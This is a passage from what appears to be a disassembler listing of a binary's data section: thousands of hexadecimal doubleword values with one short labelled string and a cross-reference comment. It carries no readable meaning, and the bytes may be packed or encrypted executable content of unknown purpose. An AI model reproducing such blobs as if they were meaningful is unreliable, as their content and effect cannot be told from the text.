330633B4h, 84616425h, 8D271010h, 0FA09BC01h dd 7071AB3Ch, 75884ECCh, 28CE5642h, 94DCAC8Ah, 0FDE02881h dd 58C2A6B6h, 87A7F9h, 88FC02Eh, 1B3D609h, 7C70A277h, 92000EBCh dd 9548F3CDh, 0C1404753h, 4DB7FC0Ah, 0CB016032h, 7E769F8Dh dd 3BC9F859h, 82FCFE58h, 8573546Ah, 54891CD0h, 853CB5D2h dd 41682606h, 0B20EABA4h, 22CC63BBh, 643485A0h, 0FE702F4Ah dd 9E8D016Eh, 695A99DDh, 8CD182CCh, 608ADCB5h, 280B62E4h dd 8F48B02Ch, 0B00C11BCh, 922201A9h, 3FD1FBDCh, 2A030820h dd 78A8A425h, 48794EC6h, 7B94AAD4h, 11972154h, 6D4D0120h dd 7A4AB739h, 0FBF77180h, 0B1FFBF84h, 6AD1AB00h, 922CE808h dd 7020D5BAh, 0FCBD9E0Fh, 2803C3C1h, 48183BFh, 0E22D7733h dd 62099BAh, 315DBC48h, 8D308832h, 249C201Bh, 5C12D0FFh dd 1DCC443Eh, 1820A9FEh, 38803D6Ah, 4700BFEAh, 0EC1FDDD0h dd 1FC5F25Dh, 807295C4h, 6045BBAEh, 0B3003506h, 9B7B7554h dd 9A77C3h, 0C1794294h, 0CB47615Bh, 0DFDDC202h, 8F3CE845h dd 0AFF560AAh, 955EFAh, 4AE398EFh, 0C4F07773h, 40C12CE8h dd 6460CF7Fh, 0E6DD3000h, 0CDCA220Eh, 934D80FEh, 0AAF592h dd 0FF3502A3h, 0F04C8A8Eh, 9A38D31Fh, 0D084F8C0h, 10476EA4h dd 1F1E2EF4h, 0C86ECDCCh, 46A8745h, 0F7F854BEh, 1212C74Ch dd 0D800CA30h, 9A918045h, 574200F5h, 0BFF40BC1h, 9E007640h dd 0ED2C3DC4h, 6CD8841h, 0FF71A051h, 460740C2h, 23B50AF2h dd 0CA92403Fh, 0F8A355h, 7342CE3Ch, 91155B43h, 0BBEB7900h dd 9C54FC8Ch, 0EE198047h, 98F75320h, 0ADFE61h, 0EA35EF4h dd 8A4BE810h, 4000807Dh, 46AF983Eh, 38A1FB78h, 1400715Fh dd 0E52FEE28h, 4704CE0Ah, 0E6AD894Bh, 942E38C5h, 2E097FBBh dd 0E59E220h, 0A48006Ah, 0F492FEh, 409A353h, 4B7A8ECEh dd 78399E0Eh, 79813D96h, 8C6E9DF6h, 188C60h, 0D18B5DE3h dd 916195B8h, 87F5B000h, 0CF32FA72h, 7FC51h, 70681CA7h dd 0F686B7E4h, 40A09930h, 40E81EC8h, 9500CA60h, 0F292F844h dd 1D065887h, 80C0E238h, 4C399A35h, 0BB00992Ch, 6E60FB86h dd 1D29818Bh, 8022EC1Eh, 4324C13Ah, 0F22C94F8h, 0D4D58C91h dd 0F590420Eh, 45E120DDh, 0E8CA3CE5h, 9F8B007Eh, 15A391A6h dd 6880FC0Bh, 4B3A07EFh, 4043F09Ah, 476D60C2h, 2400DDE8h dd 0C9D094E3h, 7A2EB8h, 0ABE697FBh, 0F4430560h, 38744C00h dd 6A4D4086h, 389E7DE4h, 7280A1C1h, 0FB1BD984h, 3600F65Fh dd 880A29BAh, 42BBBCh, 0CD0C2BA3h, 9C358941h, 690077EAh dd 0C376B799h, 4D6454h, 0F0151084h, 0B5C88B21h, 0AA4AE8E9h dd 9E51F402h, 0C1CA43F5h, 93104EACh, 851441ECh, 91889BF6h dd 0FBBF04h, 1D6AC2BAh, 6D3A57h, 36C65EF6h, 8C766017h dd 675834A5h, 0EAAB001Ah, 0D55DF49Ch, 16E81D38h, 0F0A2800Ah dd 6AE01CDAh, 0F8B924E6h, 0F06CF8ABh, 0E121C0CDh, 4CFAE5CEh dd 44198CBEh, 2180FF09h, 0C5E5C681h, 4201EFB8h, 563E3601h dd 293E41B7h, 4AD0D7F0h, 2100A6B5h, 29B345E2h, 55B0Eh dd 0C0959B93h, 76A87F0Bh, 0FC1978BEh, 0F2BA410h, 7520F778h dd 87A73AE4h, 257D6000h, 687FEF45h, 0EAC10690h, 38BEF795h dd 74405A5Fh, 30CB9478h, 0B97C058Ah, 62CEA573h, 0AE05AB1Ch dd 2FF4B4h, 629C6E25h, 5D4AC290h, 4BF2FA38h, 5B424090h dd 4E9B0316h dd 0A55EBA82h, 0E89C1900h, 623D60Eh, 3B7A25F0h, 809D2041h dd 0EFF6121h, 1B77DBFh, 0C28A8214h, 10986004h, 6ECB40h dd 0E706D37Bh, 0F9A93A45h, 71C0A200h, 2FDEEF91h, 0B4475048h dd 4A8F00D5h, 8DAF040Bh, 20052356h, 10FB4526h, 0ED28D8F4h dd 670C8450h, 0A48F5224h, 0BF85D11h, 0E035FAF2h, 7A2DECh dd 9AF903A4h, 0E1BDFFAAh, 2FFDA106h, 0C309D09h, 0B0AC4F0Ch dd 1F02AF48h, 0A814D9E1h, 0E918486Fh, 0C4C612C1h, 0A72C4083h dd 954B7B9h, 0A51A900Dh, 0F70902h, 0B7B1C721h, 0A8D33CB6h dd 0FD403709h, 88FC585Fh, 0BC5EB1D0h, 0E2D68388h, 43FB2186h dd 770403CFh, 0FA63B7D8h, 8B00AF71h, 0A8FDA6CCh, 4244A3h dd 22047EF5h, 0C4DB0D30h, 507650C0h, 0B5F2Ch, 747C2DC5h dd 779CEEF5h, 3DD1FC3Bh, 933B008Dh, 5D0760Bh, 0A35D3774h dd 3ADB9081h, 30E2EB17h, 0C009A7Eh, 5C6CD222h, 2506153h dd 0BCDF71B2h, 0CCF229F7h, 4351161Eh, 0CD1C60A7h, 0E09CCF5h dd 69003621h, 0DC4BFB43h, 0E4761739h, 0C1CB4A21h, 58C8C128h dd 0B708BBA8h, 0C4C0095Eh, 0B3C15CBEh, 0E0A31DB7h, 0B531F7C0h dd 10049401h, 0BF582001h, 0EE5048Ch, 621E23D3h, 62279Fh dd 0FDE6390Eh, 3FB36D0Fh, 77DDA052h, 484E4F35h, 1D06D46Fh dd 68CACD20h, 0FF06F702h, 0A0FC9A02h, 738C4CC4h, 4EACA0A4h dd 5F441D84h, 0C133806Ah, 0F9603DB9h, 3C9882F4h, 0D3015146h dd 0F14CE7E5h, 88E60C88h, 0E500CB8Ah, 0C1B8677Dh, 68905D4h dd 5DA39A73h, 0FF00C1ADh, 0E63D5F1h, 1EF9557h, 0BE3511D2h dd 0ADB78C27h, 0B4E4A8B0h, 829FCC11h, 60095AB7h, 0CD10B331h dd 0E14CB7BFh, 782274h, 2054126Eh, 955C42C5h, 0EC7C0778h dd 0C82C49F1h, 92353B7h, 0BB11B8h, 4FB7B4C2h, 87067Ah dd 50B32370h, 0B21F09F7h, 955EB8A8h, 737DE1C0h, 5C49B0h dd 0E1069AEh, 2C9748C3h, 88173E01h, 606BA367h, 0EB00A022h dd 210F9C74h, 6F7033ABh, 0DEC6A602h, 60BBD289h, 8092B10Ch dd 0F92AF282h, 0A9019064h, 23C73D60h, 60CE4735h, 32F7A630h dd 78288DB4h, 3F45A22Fh, 19B4417Dh, 0E0DC4E3Bh, 8830F489h dd 0A511435Eh, 0F8460FDh, 563700B9h, 3C6AF43h, 284446DAh dd 5FC841C8h, 8F2699B2h, 8B09E0DFh, 0B1749922h, 78AAA051h dd 1AC4D4DEh, 6C4071AEh, 2660273Dh, 1FFFA130h, 68F14C6Dh dd 0F978884h, 4D724503h, 8085085h, 0B741CFC7h, 18A8095Dh dd 0BEC488BDh, 161B70Eh, 53270403h, 688C3090h, 0BC61CE94h dd 0AFAA8820h, 1B0790D0h, 0E2CE114Eh, 123051CBh, 6B8408F4h dd 0F9E5A1CEh, 0E818C14Ch, 1FC58488h, 80D7AAE5h, 4E249EBh dd 1338DA55h, 9E5AF828h, 0C44FD0D0h, 0F9B1C0B4h, 5C1DE9DBh dd 8D9BDD00h, 4A015347h, 3C5400EBh, 826BFF97h, 0FA602D1Fh dd 49A9F940h, 741C02AAh, 537FEDBh, 0CE00E45Ch, 0F1167730h dd 0D0AF4E83h, 0BC68D3D0h, 149C59h, 0ECB1D858h, 2D1F875Bh dd 44E9160h, 447F0C39h, 592F2775h, 4F36F4C0h, 0FC31A63Dh dd 0FD462490h, 0A2435F0Fh, 11C43848h, 43573C40h, 0A0002F0Dh dd 0BFE5F438h, 565D4ABh, 0B1C372B9h, 84CCAC83h, 108012B7h dd 2466731Bh, 888FB40h, 664FC19h, 0BEA40852h, 0D20EFCC0h dd 0EDE62123h, 65039191h, 92B30EF3h, 6B0619C1h, 68825C20h dd 1FA34080h, 0EF852010h, 911BE201h, 26E46036h, 0C43A7310h dd 0B8C07AB1h, 605F3F44h, 4BF100E6h, 0A0015D68h, 0F578581Ah dd 58C40D26h, 0F708F40h, 9C0B015Eh, 575A36B0h, 31C4DCCAh dd 4DCCD900h, 5DBA3EF2h, 0E00E482Bh, 8F10DC48h, 0D2F03A1h dd 0E261EE11h, 0BF705C2Ch, 0A371D285h, 0BAA801ACh, 64691FFDh dd 6490FC5Ch, 116FAC80h, 0F045C280h, 806B305Dh, 57B44E60h dd 58BB8440h, 884E9EB8h, 0EF48899Ch, 4425B2D0h, 4868A1C8h dd 80C417ECh, 0E0314F0Ah, 0F1C62894h, 3C794BE0h, 311E5988h dd 0ACAB5EC9h, 32F42138h, 0B44C57A0h, 0BAE5D138h, 0FF22C64Ch dd 0F9C9903Fh, 0C3E0E80Ch, 7C89B6h, 0EC6C4819h, 2F40F21Ch dd 561B4209h, 11E41DFAh, 2A9180E6h, 0BE5445h, 0B7C85726h dd 0DA3C4B1Ah, 38C0049Dh, 2F0B905h, 0C482E280h, 9428C47h dd 983418BCh, 9F252D09h, 140F821h, 11F6CCAFh, 41C2F72Ah dd 8C33D0h, 444DB8BCh, 0D53CF5C7h, 96010271h, 65DFC2E9h dd 0BC0BE2F0h, 0C98B18h, 300538C6h, 73942A8Ah, 60F5172Dh dd 9F75B8D4h, 0C419A418h, 970D6A80h, 3804A489h, 0A4E220A3h dd 973B03DCh, 4F5B0CE4h, 31AEF089h, 1443228h, 4B712DDCh dd 0F475F9FCh, 48AB0C30h, 0AF384877h, 4009B793h, 0C6AC1C70h dd 3C500B42h, 1AEA46D3h, 0B88720B2h, 18B90D42h, 8A001EC6h dd 6B068E12h, 0D3F7F2E2h, 0D79C4941h, 0CFA44C20h, 5B302683h dd 4906987Bh, 588AE0C8h, 760910E0h, 24F83B8Ch, 80815D1Fh dd 4CE48313h, 0E7B7407Fh, 0EF674401h, 2DD9456Bh, 0C01D1FCCh dd 63FEC661h, 7B5E0839h, 3D241CC0h, 7481B50Fh, 54E1FC78h dd 0C0748290h, 80EE630h, 0F01623D4h, 67409464h, 0EFA90EFDh dd 63DA4500h, 0FFAFE26Ch, 0A5478CBh, 0ED8E23D8h, 0C1F10DF4h dd 0A2BC63A8h, 92430A6h, 0EAEDE100h, 0D99FC204h, 5A440110h dd 0A9773688h, 6394713Dh, 0BC0AA13Ch, 6266B0Ch, 53C03424h dd 4C6047ADh, 39258405h, 73B12480h, 4F2E09EBh, 5F85CC6Ch dd 84950AEh, 90002A73h, 6080FE11h, 50FDA743h, 0C4A09F8Ch dd 66435839h, 0E155441Ch, 559BD49h, 686ADF44h, 0F2062116h dd 0D020064h, 0A2702D9Eh, 0D164B1D5h, 4661897h, 0A906F0D9h dd 0C0A8FCB0h, 6D5C42C1h, 413FEB16h, 295A2FACh, 38206A05h dd 90DB5040h, 0DE331FA6h, 0F130C0A6h, 0DC12113Ch, 5112AC72h dd 0C80FD3D4h, 0C6BB203Eh, 31F2F46Ch, 5189A6FDh, 0F725E0FCh dd 2DCE20C6h, 0B5C437A9h, 3F726079h, 0F903CD05h, 917B394Eh dd 40AD9299h, 9FFCD148h, 0F25BC701h, 0F4493FBEh, 0C576822Dh dd 4E9CF6A9h, 0A6D39462h, 705E8841h, 0A540C060h, 0D11717FFh dd 0AC542895h, 34876213h, 12C4048Bh, 0CF1030B9h, 608F023Dh dd 0CE1B7182h, 0A46344F4h, 22879280h, 0CE9E527h, 0BC407A6Fh dd 47E88354h, 7CB80278h, 5E4D02B7h, 274014DCh, 75A2372h dd 68C8F136h, 9017F7ACh, 0DE27B2Ch, 71882B4Dh, 0B260E052h dd 0C079310Dh, 0C004C80h, 294144F2h, 0E2DDB6h, 0D2A9C8B1h dd 0FA5ED5A1h, 0F8406EF9h, 308038FBh, 5B15008Dh, 0B3F89089h dd 21D30A29h, 0F7DDBB00h, 93A62Fh, 6318B447h, 9816141Ah dd 4B7C0901h, 5BCDA57Ah, 38CC8075h, 70CC4837h, 8C9DE8h dd 95E1014Ch, 6C7DE0DAh, 88A1AA12h, 44215C8Ch, 609ED8Eh dd 1A35E378h, 67346000h, 1F94104Bh, 2490588Ah, 18243CAAh dd 8C875812h, 0F169D681h, 1491CC50h, 0EA810052h, 4755E132h dd 9301D971h, 0F03B9B9Fh, 0E0285075h, 368F409Eh, 968D2274h dd 48B64F1Eh, 0AF46D3C1h, 2FD5F171h, 44DD27C0h, 0B82CDFC1h dd 0CF08E4A8h, 43AB02A6h, 90CAEF69h, 0F94488C7h, 31CDF60h dd 0B37E781Ch, 0E3FBB10Fh, 4C839FACh, 3D02A0F8h, 0F302E2F8h dd 0BBD9B471h, 0FC81DC19h, 2DAB2100h, 9A91E280h, 0C3B43E4Dh dd 508250DCh, 5D05B91Bh, 7969A8A4h, 0F67905C5h, 0B2DFD2h dd 889232B1h, 1806A30Eh, 6A0171CDh, 603A12A8h, 0FDF0804Ah dd 6B1E7C48h, 0C16D048Fh, 833A448h, 5CAD407Dh, 0D06BEC4Fh dd 4B376801h, 51824F8Ch dd 0DC3A5B94h, 9798BE4Eh, 800FE091h, 0BD8EE08Ch, 3D647DF2h dd 0B51E0D43h, 4B5B523Ch, 9CB0A534h, 0D8483B0Ch, 2AA3DBDh dd 5DBE8DD6h, 16847213h, 0D57B0979h, 0B1900874h, 0CD0EFFC0h dd 81CE4323h, 5F0EF27Ch, 172A2280h, 0FFB1796Eh, 0CC211F18h dd 79260980h, 44475DFAh, 0F9F28E05h, 8BAC569Bh, 0C09FC898h dd 12EC90A3h, 49E39700h, 0D2AB486Ah, 99E42478h, 182505A4h dd 1F50B44Dh, 5B9C5820h, 0F9B0D05Eh, 9F395D63h, 0B0AA804Fh dd 0ADA63F33h, 84825348h, 703093E2h, 549E0CBh, 1F0AA211h dd 0F68CB0DCh, 0F16A7A06h, 31ABFAh, 0D9B4733Bh, 0D2B1DA9h dd 0B28C13BDh, 42070093h, 0B712E679h, 50CA4Dh, 0FC1D18ACh dd 5A3B21D9h, 23E02E43h, 2291392h, 0D791EBFBh, 630310DEh dd 0B9D50B7h, 2A9D589h, 82C598C8h, 0F1BD2713h, 6714490h dd 5DAF1594h, 2D05987Fh, 0E81C1725h, 20AC3FCCh, 44A487BDh dd 6CE6609Fh, 25240F1Ah, 43E33075h, 0ABE8E2DBh, 0D3000BEEh dd 9A54FDD8h, 96FFA8F8h, 0FA465EACh, 1701F004h, 0A8C0C118h dd 7884799Fh, 0AB309243h, 735D23E1h, 0BA11840h, 0CED9F7FDh dd 0CA8120D3h, 15533523h, 7929288Ah, 0FA6A82DCh, 4CE3C2F8h dd 72C6A6D1h, 823C7850h, 0CA198B1Bh, 5DA41055h, 0D588A896h dd 1DAA0020h, 0AD904CA9h, 0E07892EFh, 0DD2F7200h, 0BC176F14h dd 24B94E6Eh, 0AF4881D4h, 0C0D439BBh, 0F06FAAA1h, 0E577F44h dd 0EC73A4CDh, 0C26C9A36h, 6045404Fh, 31DA8F28h, 5D48532Bh dd 4DB980A9h, 649912E5h, 0D8270094h, 0EC465EAEh, 2814D279h dd 93B4F776h, 0C0C90008h, 95FB7A8h, 0B42C585Bh, 0B7C012CEh dd 8158AC37h, 7042B188h, 0C6B3E8CFh, 0CC27003Bh, 0DEF94F79h dd 0E8C4B66Ch, 20E449B7h, 3DFF1075h, 20E224F6h, 0CF805511h dd 0D14CFBE5h, 8E10E18Ch, 7738E5C7h, 0C1F70C6Bh, 135048E8h dd 8C90A44Fh, 189CD630h, 77ADDD01h, 8AFDAB47h, 0A23AC980h dd 39595A69h, 1F57500h, 0D2381AD0h, 0F23D4A43h, 9B9200DCh dd 0C668C2BBh, 487FC25h, 0A9582805h, 0BDF4C1FCh, 9C671091h dd 0D580C18Ah, 2C7F3D2Dh, 0CE7100F0h, 9EE089FDh, 0B1FB1E68h dd 1B5F05DCh, 0C388DB85h, 90994552h, 6F929B2h, 8927FFCCh dd 0B82988EBh, 83EB444h, 1E3A117h, 2806018Ch, 0EDD980BAh dd 87B4261Bh, 9830347Fh, 0DFC80B8h, 0B8C125CBh, 0A873F994h dd 4F000E7Bh, 60A3AC25h, 0E6E5F6B0h, 77B44E09h, 0FB4CE4D4h dd 0CCDE5D12h, 0F2B1F380h, 5C252Bh, 0BF83BDD8h, 0A5CF8CC2h dd 46766C9Ch, 0ADB50991h, 68008B65h, 7DE6C0h, 34533942h dd 0A3E7E398h, 0F3A7EB1Eh, 64584B01h, 88607889h, 3433FDFDh dd 643C712Ch, 0EF960B3h, 0FE2326CFh, 0F4667098h, 92570E00h dd 0A70C48FBh, 338602B9h, 0B4670B4Ah, 1780A157h, 0A03EFD5h dd 329710E1h, 0EEF51078h, 0E893DCDh, 0C09E8888h, 54910D6Eh dd 0D812BC13h, 70E44417h, 8F450B25h, 1CF2680Bh, 20D045h dd 0A2048CCBh, 480959B7h, 0BA1FD038h, 0DD01E6B7h, 533DB903h dd 0E450307Ch, 0D4048C52h, 0E94CE8E5h, 8FC558A2h, 0D40480CCh dd 9E28339Ch, 5521CCDBh, 257C919Dh, 51B420C3h, 1CD0A2ACh dd 0C709725Bh, 0C053C023h, 0D60A836Ch, 0F5F28502h, 3CE9D27h dd 38148184h, 0F3CF66Fh, 0C1B07E98h, 2F3AF2DAh, 627BF5D4h dd 0E3A938A6h, 7B1AB830h, 0AFD2004Fh, 7735ECFFh, 1975FA5h dd 0C309D388h, 403DB420h, 300D4CBh, 767BF906h, 4C12374h dd 692025CDh, 94D090EDh, 707FEDCh, 762F81E3h, 7F0A04A8h dd 1208B840h, 0DCB2BBFDh, 0C930BAF2h, 49723B81h, 0FCF12089h dd 8BC48C10h, 0BA9329C0h, 9EBB89h, 1352E099h, 682EF138h dd 0FB27A50Bh, 0BE0817ECh, 0BF6900C6h, 48605DF1h, 128B71AFh dd 0B7E9F0Eh, 50C8290Ch, 0F20FFF15h, 0A02D5DB4h, 8E7BFDA6h dd 21046029h, 49919E78h, 32B82500h, 0F974757Ah, 47300485h dd 81CF3D0Bh, 8062B64h, 5CDA4328h, 30F6ADFCh, 0F6026BB5h dd 0F801A8DBh, 0E2DC63FEh, 5E410114h, 8C9030BFh, 7DFF9140h dd 0A49E4A1Fh, 19C1E490h, 0B00EA975h, 254C3024h, 68F8638Ch dd 71C0F9FEh, 0A99C2607h, 823E0548h, 94A29DF7h, 216CE55Ch dd 0A5EFF0D8h, 434B0CACh, 93C8148Bh, 0BF5490C0h, 68C927AEh dd 0C0563891h, 33016F72h, 0C21BD555h, 0FCCD47D8h, 0CF8082FAh dd 0EC020921h, 491889F7h, 209D95BBh, 60BC0C88h, 0A9D9AFB5h dd 93E80816h, 0D0003853h, 91F1060Ch, 768898A3h, 42F0BEEDh dd 20B8124h, 0E1CEFECh, 0B1F584E5h, 0B8982988h, 64650013h dd 0CB1A2969h, 5C09CE0Dh db 0A9h aHL db 'h$пl',0 ; DATA XREF: ___:00437DD4o dw 5ACCh dd 2F7DA6E1h, 90CFEC79h, 5D88B84Dh, 68772FD7h, 87113C2Eh dd 0FDC2435Ah, 6024D940h, 9043523Bh, 15C25A00h, 6A20770Eh dd 41CCA9D0h, 4BB1AC64h, 1E2CA2C8h, 40024F7h, 0EF3C1646h dd 0D4F101C0h, 7CA350Ah, 53C7FC5Dh, 4B055098h, 0B1FA5E70h dd 82C6AC41h, 0D12AE1B4h, 69FCF2A0h, 0B8F61FD8h, 48C4750Bh dd 70CCF64h, 80F5D9AEh, 0EDFC64AAh, 30235F30h, 0A630D005h dd 0EC542CA9h, 0C0465E1Ch, 16E36713h, 4CB0300Dh, 2C005972h dd 393BFA97h, 4CF1B63h, 0F5E905FEh, 0C8F253h, 0AA6CF3EAh dd 8E2AAEh, 0ECE1E875h, 0BA9C2DF9h, 349EC2EAh, 7F73DE40h dd 0DDEF1291h, 8D5B0034h, 0D53D746h, 21ED000h, 237FB0BCh dd 82F34A25h, 0E8ECA688h, 91389795h, 50009FBFh, 0E116F404h dd 9073584Bh, 0D10B1712h, 0AB370Ch, 0BC1D352Dh, 0E929125Ch dd 0A1F00E4h, 81D55464h, 206538FBh, 688045ADh, 4278C7FCh dd 0D9475C13h, 77938404h, 0E80EC40Bh, 50AA0491h, 58D1959Ch dd 0F03CECFCh, 708CBFB8h, 0F32001D8h, 0E106ED87h, 44783096h dd 26769C40h, 8108937h, 13808C87h, 0B55C6E6h, 0C0825804h dd 6C4F0AC2h, 8107D058h, 3B69F71Fh, 0D23D88C0h, 7030C54h dd 3859AE1Ch, 0C7B1BA03h, 9DF0D2Dh, 0B7FC4CE1h, 2F094C58h dd 0F1998225h, 0F5A18004h, 4C850CE3h, 0CFB8B03Dh, 3CF2D852h dd 9D35DF00h, 6A7BE2Ah, 6BA5EA0Bh, 44B8C7E4h, 0B98F60A0h dd 297400DCh, 5E6FDFECh, 9D09422Dh, 7EAE4389h, 2458A478h dd 1F5070A4h, 72FDB940h, 28FF582Fh, 13A46884h, 2BF970C2h dd 4F01CC44h, 79467C38h, 81C427F2h, 1953B899h, 60ACFB94h dd 65A8475Eh, 4C2470A3h, 894DB94h, 100CFF42h, 768A8E28h dd 24DE1534h, 0C482FCC8h, 1EA8B389h, 405910F7h, 0B1B6F66Fh dd 0B93A6224h, 58C4F112h, 586BC0Eh, 0B197DEC3h, 7DF03047h dd 901C515Bh, 0DC029DF0h, 0C18AB6C9h, 0C415C528h, 8C35BA28h dd 1C68550Bh, 0B93F2174h, 622C4525h, 0A518BC0Bh, 0CC86022Ah dd 823B06C5h, 8842A85Eh, 99980C9Bh, 0AB219E43h, 60C73E09h dd 0F08CC2C0h, 8648B6BDh, 0B6B39479h, 633BDB05h, 0C002D43Ch dd 3651537h, 9CFCA3E9h, 4288BCA8h, 83FC1275h, 0EBB0F4A1h dd 13781840h, 0F62AF294h, 1294C8C8h, 419089FFh, 99B20ECh dd 0F01870F9h, 30424403h, 0EB94751Bh, 20797FB5h, 767A0FF7h dd 131F88C5h, 151038CFh, 202705A8h, 0CD1E649h, 9428A408h dd 8108CC4Bh, 506FA4A1h, 350142B8h, 4A206939h, 0A380FC40h dd 1CE44D1Eh, 0D8C3FCC1h, 0B57E8E3h, 0D691A499h, 4BBC004Dh dd 82CA0939h, 0C0670BE1h, 211C528Eh, 50129801h, 75D1AC61h dd 0FF171C29h, 8E6484B7h, 0C0C088DCh, 8726AE5Bh, 8B368313h dd 0B1CC40C0h, 3CA45873h, 0ABB44CA0h, 0BA2FE09Ah, 538B781h dd 5B15862h, 88FFF2C3h, 0B760C3C0h, 0CBC85C99h, 73A300CFh dd 83DC99F2h, 4402CEF8h, 252E132Bh, 19CD087h, 6940F1A9h dd 0F8FDAFA7h, 6197D0DAh, 19AC71D8h, 114674B8h, 3888C600h dd 1B01E3CAh, 90BB832Eh, 0DAFF97BFh, 18221C02h, 2C0D4B1h dd 8C0C7F88h, 0F170D08Ch, 4353048Ch, 0AC58FDA6h, 6B38B1F0h dd 23AAB00h, 5BB43205h, 70C01BF0h, 29A9C4E2h, 48C4A6D3h dd 855611BCh, 0C0C2E5D0h, 0FDBCB1C9h, 0E5C89017h, 7803C245h dd 0DEE660B4h, 8A9DE1CFh, 3AB8202Bh, 20EC799Fh, 0C3682E01h dd 0E05F2823h, 0D3F060D2h, 794400FCh, 42C43488h, 719094Dh dd 0B9F9AF18h, 0B3BC4C6Ch, 0F0593B8Ch, 5E834B82h, 646410E3h dd 0F8D79735h, 94F238E2h, 0B108E30h, 0C3469835h, 91DF7490h dd 80AEF23Bh, 0E1B8FFC6h, 1E41741Bh, 5681572Dh, 6FAC4B21h dd 7C245468h, 0E23ECD00h, 0DDC6D507h, 0AF4D00F9h, 0BEFE185Fh dd 172F8265h, 0DF008F2Dh, 0B019468h, 468C12B1h, 0D8517E37h dd 0EC405175h, 0EFBCE83h, 0F2EFA774h, 0ED2F0E9Ch, 8AA4018h dd 489F5827h, 5A9EEC04h, 6000043Bh, 73730F8Ch, 0BEC8B88Bh dd 0B8E377C3h, 928BAB8Ch, 0E1F72428h, 80F21158h, 0FDBB4354h dd 58CC9670h, 430F6C35h, 429510C5h, 19D0467h, 70F4A5E0h dd 0BB448B2Ch, 0C6B405F2h, 5FC407A9h, 23D042A8h, 475EDB6h dd 3600FC70h, 0CF75DF4Fh, 8F89D97h, 0D160B912h, 1E2EBAE9h dd 9F66CEBh, 0D10355h, 4D02B800h, 47572B9h, 63452F4Bh dd 94E2160Ch, 0A33FDF2h, 0BE778CCEh, 0E2524FA4h, 320FF2B4h dd 0C4A23760h, 1B771C01h, 178C4B2Ch, 994E7C64h, 18E6D9B0h dd 653107B8h, 81E7ABh, 6C80D33Fh, 0AC848D4Fh, 8C3AC052h dd 9D140F23h, 0E04E00EBh, 4498C881h, 3547294Ah, 17FF82E0h dd 0F8C8CA91h, 0A941A077h, 80005C45h, 0B10C9057h, 433C0016h dd 0E7C86B10h, 0D49177ABh, 0EBB67480h, 7C7A18FAh, 8044B488h dd 934EFE60h, 62036F5Ch, 0CC70EDB8h, 2358056Ch, 2F56317Fh dd 1F923E8h, 2B62D1ACh, 4883EBBh, 7DF5007Ch, 23CBB2AFh dd 0D739D9B0h, 0B4FF000Fh, 85A178D6h, 844C12FDh, 61A4947Bh dd 2BF81D84h, 0FBC0C53h, 3E60A904h, 564482D8h, 0E6E4E065h dd 6D702760h, 150D7200h, 68A9BD66h, 0B0CBC80h, 585A2FFFh dd 326F5901h, 684BAC38h, 12C4D460h, 4BD2FFB1h, 24290D58h dd 0A960D8DCh, 1CF4634Ah, 9423D9h, 0C268F069h, 0CCB1C475h dd 4880951Ch, 0ACAD2473h, 0D2EE011Fh, 0A02B708Fh, 26A07067h dd 0FC121C13h, 98007813h, 5329DD39h, 0F0735891h, 0D09D6CC0h dd 2500320Ch, 0DE2CB5F3h, 4EE16Eh, 8E3B6519h, 77D0E6EDh dd 0BCE0C459h, 704C01B8h, 0B710F22Fh, 10E4C555h, 4C1E2784h dd 5412AC9Dh, 94C1CF9h, 74E883F2h, 0F7EC7F2Dh, 0CC91FF12h dd 40B4B888h, 20B7C382h, 8BB1D54h, 2A60007Eh, 78B90656h dd 2405CB2Eh, 0E88BF092h, 0D50FD0C1h, 0F3097C2Dh, 1C4B6523h dd 0B8CEE05Bh, 75C0BEC8h, 5AA9EB3Ch, 35F09043h, 62252742h dd 0C0904D90h, 0A5DFDEDCh, 0C07F0C09h, 0BBECA584h, 0BEF2F8E2h dd 4F049E30h, 6128B42Bh, 93B90B07h, 0C5302744h, 3ABF81h dd 5B2BFFBEh, 433BDF47h, 67042017h, 0C448000Ah, 0E575560Bh dd 67A0E4B0h, 0C2C0CBA7h, 0EBD499h, 65FE0B96h, 0EC43887Dh dd 17FDC404h, 801E988Dh, 6AEB8233h, 9104D23Fh, 2B844B99h dd 4C4E2CB0h, 0FAE8C4A2h, 94BD018Ch, 50D13556h, 2C002FB4h dd 7F0B4CABh, 9C875C1Ch, 8670B9Eh, 289E98F0h, 0F86A63h dd 0E2F20651h, 0BBEF6247h, 4D5EB3Ch, 751C0CDBh, 0EA005CF7h dd 13E780E1h, 0D0046457h, 24DEE18h, 260C09EEh, 3D085C79h dd 8425E8h, 3A94791h, 7C4579CDh, 5C043CBDh, 0B03C070Bh dd 201B1DE0h, 9D40E25Dh, 0D11FD8C1h, 75DC0104h, 8DBD2BFCh dd 0A80A6711h, 0A3E02C41h, 6A290301h, 519818CCh, 0F1CA8075h dd 1897795Ch, 0E2A04F29h, 96831484h, 8B0D06D9h, 6989C3h dd 0C4E04A6Eh, 69A97A26h, 10E4AA58h, 420EB67Fh, 1F033B36h dd 0D80AF095h, 8879039Dh, 0D9015511h, 2B732DDBh, 8EBC55D7h dd 0B91084A0h, 0FFC6E630h, 0B822BB0Bh, 8C6000EBh, 4F1F0B11h dd 5D4CC214h, 0DA093C7Ah, 0D9FEC83h, 6BCE5AF8h, 747CB840h dd 0BC14A0BEh, 3E54B96Fh, 0B10EC500h, 7E0CD37Bh, 94AB3000h dd 4BC4E954h, 75F01CF3h, 5376C0C7h, 6D4EE85Dh, 0DE08A09Ch dd 3B030BADh, 0DD0A3851h, 0A500F078h, 0F281B4F7h, 955074F9h dd 9891809Dh, 0F3F12E84h, 90417274h, 0B85449D6h, 0EBFF00F2h dd 7850DC03h, 7541C4C4h dd 23202F2Fh, 0D76A00FBh, 6BB1DEECh, 7D2ECD03h, 7AA8F6F1h dd 8A600799h, 0F99A25CFh, 0B8891451h, 8907278h, 0F0411827h dd 6C945F12h, 452FA400h, 7B5DED60h, 0B94A1682h, 806CA86Fh dd 0EB362174h, 1D9E0084h, 0FF959461h, 9D1798C4h, 40E443B8h dd 0A25D4A6Dh, 74205F7Ch, 70F5924h, 6F330F2h, 194BD060h dd 0C69F4FE5h, 0B44C0834h, 482CB9B7h, 33E90702h, 60A87CFBh dd 0F3F00D73h, 854DF100h, 0BB0C58C6h, 1DD403B4h, 0B0BA5B29h dd 6F865EC7h, 812CD975h, 0E0045C3Ah, 14FAA160h, 9DE8D420h dd 1CAB5D8Ch, 21A15DC6h, 3C04CE39h, 0BD6D9652h, 0ED8038ACh dd 7DC7A15Bh, 0D7938000h, 0FC091029h, 25E8BEAAh, 26BB18C8h dd 0C482A34Ah, 1640FA19h, 0B210A9D6h, 